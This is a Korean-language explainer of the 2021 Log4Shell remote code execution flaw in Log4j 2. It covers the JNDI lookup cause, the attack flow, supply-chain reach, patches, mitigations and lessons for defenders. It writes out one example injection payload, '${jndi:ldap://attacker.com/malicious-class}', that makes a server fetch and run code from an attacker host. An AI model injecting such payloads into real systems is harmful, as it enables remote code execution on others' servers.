Log4Shell은 자바 로깅 라이브러리 Apache Log4j 2에서 발견된 원격 코드 실행 취약점이다. Log4j가 자바 생태계 전반에서 사실상 표준처럼 쓰이는 로깅 라이브러리였기 때문에, 이 한 취약점이 셀 수 없이 많은 서비스에 영향을 미치면서 2021년 말 보안 업계 전체를 뒤흔든 사건으로 기록됐다.
근본 원인: JNDI Lookup 기능
Log4j에는 로그 메시지 안에 ${...} 형태의 특수 문법을 쓰면, 그 자리를 실제 값으로 치환해주는 "Lookup" 기능이 있었다. 그중 ${jndi:...} 문법은 JNDI(Java Naming and Directory Interface)를 통해 원격 서버에 접속해서 값을 가져오는 기능까지 지원했다.
logger.info("User-Agent: " + userAgent); // userAgent는 사용자가 통제하는 HTTP 헤더
공격자가 User-Agent 같은, 애플리케이션이 별 생각 없이 로그로 남기는 값에 아래와 같은 문자열을 넣으면:
${jndi:ldap://attacker.com/malicious-class}
Log4j가 이 로그 메시지를 처리하는 순간, 로그를 "기록"하는 게 아니라 저 LDAP 주소로 실제 네트워크 요청을 보내서 원격 서버가 지정한 자바 클래스를 다운로드해 실행해버린다. 로그를 남기기만 해도 코드가 실행된다는 게 이 취약점의 충격적인 지점이었다 — 로그인 폼, 검색창, HTTP 헤더처럼 로그에 남는 모든 사용자 입력 지점이 잠재적 공격 표면이 됐다.
왜 이렇게까지 광범위했나
- Log4j는 직접 쓰는 애플리케이션뿐 아니라, 다른 라이브러리/프레임워크의 의존성으로 딸려 들어오는 경우가 매우 많았다. 개발자가 자기 프로젝트에 Log4j를 직접 추가한 적이 없어도, 쓰고 있는 프레임워크 내부에서 쓰고 있으면 영향을 받았다.
- 영향받는 애플리케이션의 범위를 파악하는 것 자체가 큰 작업이었다 — "우리가 Log4j를 쓰는지"조차 바로 알기 어려운 조직이 많았고, 이게 소프트웨어 공급망 가시성(SBOM)의 중요성이 크게 부각되는 계기가 됐다.
공격 흐름 요약
- 공격자가 애플리케이션이 로그로 남길 만한 입력값(HTTP 헤더, 폼 필드 등)에
${jndi:ldap://...} 페이로드 삽입
- 애플리케이션이 이 값을 Log4j로 로깅
- Log4j가 JNDI Lookup을 수행하며 공격자가 통제하는 LDAP/RMI 서버에 접속
- 그 서버가 응답으로 악성 자바 클래스 정보를 반환
- 취약한 JVM 설정에서는 이 클래스가 그대로 로드되어 실행됨 (임의 코드 실행)
패치와 완화
- 버전 업그레이드: Log4j 2.17.1 이상으로 업데이트하는 게 근본 해결책. 초기 패치(2.15.0)도 우회 방법이 발견되어 여러 차례 추가 패치가 나왔다는 점도 기억할 만하다 — 첫 패치로 끝났다고 방심하면 안 된다.
- 긴급 완화책: 패치 전에는
log4j2.formatMsgNoLookups=true 시스템 프로퍼티 설정이나, 취약한 클래스(JndiLookup)를 클래스패스에서 아예 제거하는 방법이 임시 대응으로 널리 쓰였다.
- 네트워크 레벨 차단: 내부 서버에서 외부로 나가는 LDAP/RMI 트래픽을 차단하는 것도 완전한 해결은 아니지만 익스플로잇 성공률을 낮추는 데 도움이 됐다.
이 사건이 남긴 교훈
- 의존성 목록을 파악하는 것 자체(SBOM)가 사고 대응 속도를 결정한다 — "이 라이브러리를 우리가 쓰고 있는가"를 몇 분 안에 답할 수 있는 조직과, 며칠이 걸리는 조직의 대응 격차가 극명하게 드러났다
- 편의 기능(로그 메시지 치환)이 보안 검토 없이 "네트워크 요청까지 가능한 기능"으로 확장되어 있었다는 것 자체가 설계 단계의 문제였다 — 기능을 추가할 때 "이게 신뢰 경계를 넘는 동작을 하는가"를 항상 따져봐야 한다
- 대규모 공급망 취약점은 패치 하나로 안심할 수 없고, 실제로 몇 주에 걸쳐 관련 CVE가 추가로 여러 건 더 나왔다